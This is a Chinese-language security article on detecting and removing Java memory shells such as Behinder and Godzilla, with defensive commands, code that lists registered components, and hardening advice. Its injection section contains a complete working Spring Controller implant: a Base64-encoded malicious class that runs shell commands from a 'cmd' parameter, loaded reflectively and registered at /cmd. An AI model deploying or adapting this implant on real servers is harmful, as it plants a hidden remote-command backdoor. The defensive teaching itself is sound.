渗透测试 | 如何用三条命令查杀冰蝎和哥斯拉内存马
字数 1135 2025-08-20 18:18:10

内存马查杀技术详解:以冰蝎和哥斯拉为例

一、内存马概述

内存马(Memory Shell)是一种驻留在服务器内存中的恶意程序,不依赖文件系统,通过动态注入技术实现持久化攻击。主要特点包括:

  • 无文件落地,传统杀毒软件难以检测
  • 通过反射等技术动态修改内存中的类
  • 通常伪装成Web组件(Filter、Servlet、Controller等)

二、内存马注入技术

1. 动态注入Web组件

通过创建并注册以下Java Web组件实现:

  • Listener
  • Filter
  • Servlet
  • Valve
  • Spring Controller

2. 通过Instrument修改内存class

使用Java Instrumentation API直接修改已加载类的字节码

三、Spring内存马注入实例分析

1. 注入Spring Controller示例代码

package com.example.testspring;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;

@RestController
public class TestController {
    @GetMapping("/add_controller")
    public String hello() {
        try {
            String className = "com.example.spring.InjectControl";
            // 加载恶意类的Base64编码字节码
            String b64 = "yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkAGEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";
            byte[] bytes = Base64.getDecoder().decode(b64);
            
            // 使用ClassLoader动态加载恶意类
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            try {
                m0.invoke(classLoader, className, bytes, 0, bytes.length);
            }catch (Exception e){ }
            
            // 获取Spring上下文
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
            RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
            
            // 通过反射获得自定义controller中唯一的Method对象
            Method method = (classLoader.loadClass(className).getDeclaredMethods())[0];
            
            // 在内存中动态注册controller
            Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
            Constructor<?> method1 = class1.getDeclaredConstructor(String.class, PathPatternsRequestCondition.class, PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestConditionHolder.class, RequestMappingInfo.BuilderConfiguration.class);
            method1.setAccessible(true);
            
            RequestMappingInfo info = (RequestMappingInfo) method1.newInstance(
                "test",
                new PathPatternsRequestCondition(new PathPatternParser(),"/cmd"),
                null,
                new RequestMethodsRequestCondition(RequestMethod.GET),
                new ParamsRequestCondition(),
                new HeadersRequestCondition(),
                new ConsumesRequestCondition(),
                new ProducesRequestCondition(),
                new RequestConditionHolder(null),
                new RequestMappingInfo.BuilderConfiguration()
            );
            
            r.registerMapping(info, classLoader.loadClass(className).newInstance(), method);
            return "success";
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

2. 关键注入步骤解析

  1. 动态加载恶意类

    • 使用Base64编码的恶意类字节码
    • 通过ClassLoader.defineClass方法动态加载
  2. 获取Spring上下文

    • 通过RequestContextHolder获取当前请求
    • 获取WebApplicationContext和RequestMappingHandlerMapping
  3. 构造RequestMappingInfo

    • 使用反射构造Spring MVC的映射信息
    • 设置访问路径为/cmd
  4. 注册恶意Controller

    • 将恶意类注册为Spring Controller
    • 映射到特定URL路径

四、内存马查杀技术

1. 三条关键查杀命令

命令1:查找可疑的Java进程

ps aux | grep java | grep -v grep
  • 检查异常Java进程
  • 关注高CPU/内存占用的进程

命令2:检查网络连接

netstat -antp | grep java
  • 查找异常外连IP和端口
  • 冰蝎/哥斯拉通常会有持续连接

命令3:检查Java线程堆栈

jstack <pid> | grep -A 20 "http"
  • 分析Java线程调用栈
  • 查找可疑的HTTP处理线程

2. 进阶查杀技术

(1) 检查Web容器组件

// 检查Filter
Enumeration<String> filters = request.getServletContext().getFilterRegistrations().keys();
while (filters.hasMoreElements()) {
    String filterName = filters.nextElement();
    System.out.println("Filter: " + filterName);
}

// 检查Servlet
Map<String, ? extends ServletRegistration> servlets = request.getServletContext().getServletRegistrations();
for (String servletName : servlets.keySet()) {
    System.out.println("Servlet: " + servletName);
}

(2) 检查Spring MVC映射

RequestMappingHandlerMapping rmhp = applicationContext.getBean(RequestMappingHandlerMapping.class);
Map<RequestMappingInfo, HandlerMethod> handlerMethods = rmhp.getHandlerMethods();
for (Map.Entry<RequestMappingInfo, HandlerMethod> entry : handlerMethods.entrySet()) {
    System.out.println("Mapping: " + entry.getKey() + " -> " + entry.getValue());
}

(3) 内存扫描工具

  • Arthas
  • JavaMelody
  • Greys

五、防御措施

  1. 运行时防护

    • 使用RASP(运行时应用自我保护)技术
    • 监控关键API调用(如ClassLoader.defineClass)
  2. 代码审计

    • 定期审计Web应用代码
    • 检查可疑的反射调用
  3. 权限控制

    • 限制Java进程权限
    • 使用SecurityManager
  4. 监控告警

    • 监控异常URL访问
    • 设置内存变化告警

六、总结

内存马查杀关键在于:

  1. 理解内存马注入原理
  2. 掌握Java运行时检测技术
  3. 熟悉Web容器内部机制
  4. 使用专业工具辅助分析

通过结合命令行工具和代码级检测,可以有效发现和清除冰蝎、哥斯拉等内存马威胁。

内存马查杀技术详解:以冰蝎和哥斯拉为例 一、内存马概述 内存马(Memory Shell)是一种驻留在服务器内存中的恶意程序,不依赖文件系统,通过动态注入技术实现持久化攻击。主要特点包括: 无文件落地,传统杀毒软件难以检测 通过反射等技术动态修改内存中的类 通常伪装成Web组件(Filter、Servlet、Controller等) 二、内存马注入技术 1. 动态注入Web组件 通过创建并注册以下Java Web组件实现: Listener Filter Servlet Valve Spring Controller 2. 通过Instrument修改内存class 使用Java Instrumentation API直接修改已加载类的字节码 三、Spring内存马注入实例分析 1. 注入Spring Controller示例代码 2. 关键注入步骤解析 动态加载恶意类 : 使用Base64编码的恶意类字节码 通过ClassLoader.defineClass方法动态加载 获取Spring上下文 : 通过RequestContextHolder获取当前请求 获取WebApplicationContext和RequestMappingHandlerMapping 构造RequestMappingInfo : 使用反射构造Spring MVC的映射信息 设置访问路径为 /cmd 注册恶意Controller : 将恶意类注册为Spring Controller 映射到特定URL路径 四、内存马查杀技术 1. 三条关键查杀命令 命令1:查找可疑的Java进程 检查异常Java进程 关注高CPU/内存占用的进程 命令2:检查网络连接 查找异常外连IP和端口 冰蝎/哥斯拉通常会有持续连接 命令3:检查Java线程堆栈 分析Java线程调用栈 查找可疑的HTTP处理线程 2. 进阶查杀技术 (1) 检查Web容器组件 (2) 检查Spring MVC映射 (3) 内存扫描工具 Arthas JavaMelody Greys 五、防御措施 运行时防护 : 使用RASP(运行时应用自我保护)技术 监控关键API调用(如ClassLoader.defineClass) 代码审计 : 定期审计Web应用代码 检查可疑的反射调用 权限控制 : 限制Java进程权限 使用SecurityManager 监控告警 : 监控异常URL访问 设置内存变化告警 六、总结 内存马查杀关键在于: 理解内存马注入原理 掌握Java运行时检测技术 熟悉Web容器内部机制 使用专业工具辅助分析 通过结合命令行工具和代码级检测,可以有效发现和清除冰蝎、哥斯拉等内存马威胁。